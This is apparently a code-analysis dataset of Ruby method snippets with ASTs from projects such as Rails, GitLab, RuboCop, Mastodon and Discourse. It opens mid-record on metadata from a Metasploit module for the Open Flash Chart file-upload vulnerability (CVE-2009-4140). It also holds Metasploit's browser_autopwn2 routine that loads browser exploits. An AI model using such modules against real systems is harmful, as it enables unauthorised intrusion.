Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a file upload vulnerability found in Open Flash\\n\"]},{\"type\":\"str\",\"children\":[\"          Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file\\n\"]},{\"type\":\"str\",\"children\":[\"          in order to upload and execute malicious PHP files.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Braeden Thomas\"]},{\"type\":\"str\",\"children\":[\"Gjoko Krstic <gjoko[at]zeroscience.mk>\"]},{\"type\":\"str\",\"children\":[\"Halim Cruzito\"]},{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"37314\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-4140\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"59051\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"10532\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"6787\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"6788\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"6789\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"6790\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"6791\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"6792\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[8190]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Generic (PHP Payload)\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-12-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to Open Flash Chart\"]},{\"type\":\"str\",\"children\":[\"/php-ofc-library/\"]}]}]}]}]}]}]}","id":"b906dcca-0642-441a-ab95-9db2e65eef1b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1592,"raw_source":"def test_transaction_when_deleting_new_record\n    firm = Firm.new\n    assert_queries_count(0) do\n      client = Client.new(\"name\" => \"New Client\")\n      firm.clients_of_firm << client\n      firm.clients_of_firm.destroy(client)\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transaction_when_deleting_new_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"New Client\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients_of_firm\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients_of_firm\"]},\"destroy\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]}]}]}","id":"6dbfe0fc-be24-41ca-b1aa-a90f6a9c164c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_autopwn2.rb","start_line":49,"raw_source":"def init_exploits\n      # First we're going to avoid using #find_all because that gets very slow.\n      framework.exploits.module_refnames.each do |fullname|\n\n        next if !fullname.include?('browser') || self.fullname == \"exploit/#{fullname}\"\n\n        # The user gets to specify which modules to include/exclude\n        next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']\n        next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']\n\n        mod = framework.exploits.create(fullname)\n        unless mod\n          print_status(\"Failed to load: #{fullname}\")\n          next\n        end\n        if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)\n          @bap_exploits << mod\n        end\n      end\n    end","complexity_score":45.3,"ast_json":"{\"type\":\"def\",\"children\":[\"init_exploits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"exploits\"]},\"module_refnames\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fullname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullname\"]},\"include?\",{\"type\":\"str\",\"children\":[\"browser\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]},\"==\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"exploit/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullname\"]}]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INCLUDE_PATTERN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullname\"]},\"!~\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INCLUDE_PATTERN\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXCLUDE_PATTERN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullname\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXCLUDE_PATTERN\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"exploits\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"fullname\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to load: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullname\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"BrowserExploitServer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bap_exploits\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},null]}]}]}]}","id":"10a66aad-a647-4d30-879d-54fd6c09faa8"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/immich/import_geodata.rb","start_line":67,"raw_source":"def create_import_failed_notification(import_name)\n    Notifications::Create.new(\n      user:,\n      kind: :info,\n      title: 'Import was not created',\n      content: \"Import with the same name (#{import_name}) already exists. If you want to proceed, delete the existing import and try again.\"\n    ).call\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_import_failed_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"Create\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kind\"]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Import was not created\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Import with the same name (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_name\"]}]},{\"type\":\"str\",\"children\":[\") already exists. If you want to proceed, delete the existing import and try again.\"]}]}]}]}]},\"call\"]}]}","id":"e5e5e92b-5c10-450b-876b-771e0036ae88"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":994,"raw_source":"def is_distinct_from(o, collector)\n          collector << \"CASE WHEN \"\n          collector = visit o.left, collector\n          collector << \" = \"\n          collector = visit o.right, collector\n          collector << \" OR (\"\n          collector = visit o.left, collector\n          collector << \" IS NULL AND \"\n          collector = visit o.right, collector\n          collector << \" IS NULL)\"\n          collector << \" THEN 0 ELSE 1 END\"\n        end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"is_distinct_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"CASE WHEN \"]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"left\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" = \"]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"right\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" OR (\"]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"left\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" IS NULL AND \"]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"right\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" IS NULL)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" THEN 0 ELSE 1 END\"]}]}]}]}","id":"92973f1d-3ece-4d12-af58-8c482fa0c73a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/click_house/sync_strategies/base_sync_strategy.rb","start_line":46,"raw_source":"def context\n        @context ||= ClickHouse::RecordSyncContext.new(\n          last_record_id: ClickHouse::SyncCursor.cursor_for(sync_cursor_identifier),\n          max_records_per_batch: INSERT_BATCH_SIZE,\n          runtime_limiter: Gitlab::Metrics::RuntimeLimiter.new(MAX_RUNTIME)\n        )\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClickHouse\"]},\"RecordSyncContext\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_record_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClickHouse\"]},\"SyncCursor\"]},\"cursor_for\",{\"type\":\"send\",\"children\":[null,\"sync_cursor_identifier\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_records_per_batch\"]},{\"type\":\"const\",\"children\":[null,\"INSERT_BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runtime_limiter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"RuntimeLimiter\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"MAX_RUNTIME\"]}]}]}]}]}]}]}","id":"8a5d83f8-5d02-4ff0-8970-0b1bbff11099"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/multiline_literal_brace_layout.rb","start_line":98,"raw_source":"def closing_brace_on_same_line?(node)\n        node.loc.end.line == children(node).last.last_line\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"closing_brace_on_same_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]},\"line\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"last\"]},\"last_line\"]}]}]}","id":"7c64f4f0-4c51-440c-b2c4-88f9c602cc90"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/admin/filter_helper.rb","start_line":50,"raw_source":"def controller_request_params\n    params.permit(FILTERS)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"controller_request_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"const\",\"children\":[null,\"FILTERS\"]}]}]}","id":"18a464e7-da9f-4771-bf3a-ebc697dfef48"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/string_range_marker.rb","start_line":18,"raw_source":"def mark(ranges)\n      return rich_line unless ranges&.any?\n\n      marker_ranges = ranges.map { |range| Gitlab::MarkerRange.from_range(range) }\n\n      if html_escaped\n        rich_marker_ranges = []\n        marker_ranges.each do |range|\n          # Map the inline-diff range based on the raw line to character positions in the rich line\n          rich_positions = position_mapping[range].flatten\n          # Turn the array of character positions into ranges\n          rich_marker_ranges.concat(collapse_ranges(rich_positions, range.mode))\n        end\n      else\n        rich_marker_ranges = marker_ranges\n      end\n\n      offset = 0\n      # Mark each range\n      rich_marker_ranges.each_with_index do |range, i|\n        offset_range = (range.begin + offset)..(range.end + offset)\n        original_text = rich_line[offset_range]\n\n        text = yield(original_text, left: i == 0, right: i == rich_marker_ranges.length - 1, mode: range.mode)\n\n        rich_line[offset_range] = text\n\n        offset += text.length - original_text.length\n      end\n\n      @html_escaped ? rich_line.html_safe : rich_line\n    end","complexity_score":61.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mark\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ranges\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rich_line\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"marker_ranges\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"MarkerRange\"]},\"from_range\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_escaped\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rich_marker_ranges\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"marker_ranges\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rich_positions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position_mapping\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},\"flatten\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rich_marker_ranges\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"collapse_ranges\",{\"type\":\"lvar\",\"children\":[\"rich_positions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"mode\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rich_marker_ranges\",{\"type\":\"lvar\",\"children\":[\"marker_ranges\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rich_marker_ranges\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset_range\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"original_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rich_line\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"offset_range\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"left\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"right\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rich_marker_ranges\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"mode\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rich_line\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"offset_range\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_text\"]},\"length\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@html_escaped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rich_line\"]},\"html_safe\"]},{\"type\":\"send\",\"children\":[null,\"rich_line\"]}]}]}]}","id":"2c0195bf-a888-4e0f-b249-691c817382b9"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":981,"raw_source":"def test_esbuild_option\n    generator([destination_root], javascript: \"esbuild\")\n\n    run_generator_instance\n\n    assert_includes @rails_commands, \"javascript:install:esbuild\", \"`javascript:install:esbuild` expected to be called, but wasn't.\"\n    assert_gem \"jsbundling-rails\"\n    assert_node_files\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_esbuild_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"javascript\"]},{\"type\":\"str\",\"children\":[\"esbuild\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"run_generator_instance\"]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"ivar\",\"children\":[\"@rails_commands\"]},{\"type\":\"str\",\"children\":[\"javascript:install:esbuild\"]},{\"type\":\"str\",\"children\":[\"`javascript:install:esbuild` expected to be called, but wasn't.\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_gem\",{\"type\":\"str\",\"children\":[\"jsbundling-rails\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_node_files\"]}]}]}","id":"da4b0dbe-e7c1-4ec2-ba2f-4783c15dd951"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/requests/users_controller_spec.rb","start_line":823,"raw_source":"def honeypot_magic(params)\n      get \"/session/hp.json\"\n      json = response.parsed_body\n      params[:password_confirmation] = json[\"value\"]\n      params[:challenge] = json[\"challenge\"].reverse\n      params\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"honeypot_magic\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/session/hp.json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"parsed_body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password_confirmation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"challenge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"challenge\"]}]},\"reverse\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"635f7c1c-f8d2-446f-a0f3-d2a5056b2e1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/build_cancel_service.rb","start_line":28,"raw_source":"def allowed?\n      user.can?(:cancel_build, build)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"cancel_build\"]},{\"type\":\"send\",\"children\":[null,\"build\"]}]}]}","id":"c48cffaa-3200-4243-9737-51270f0a0ef7"}
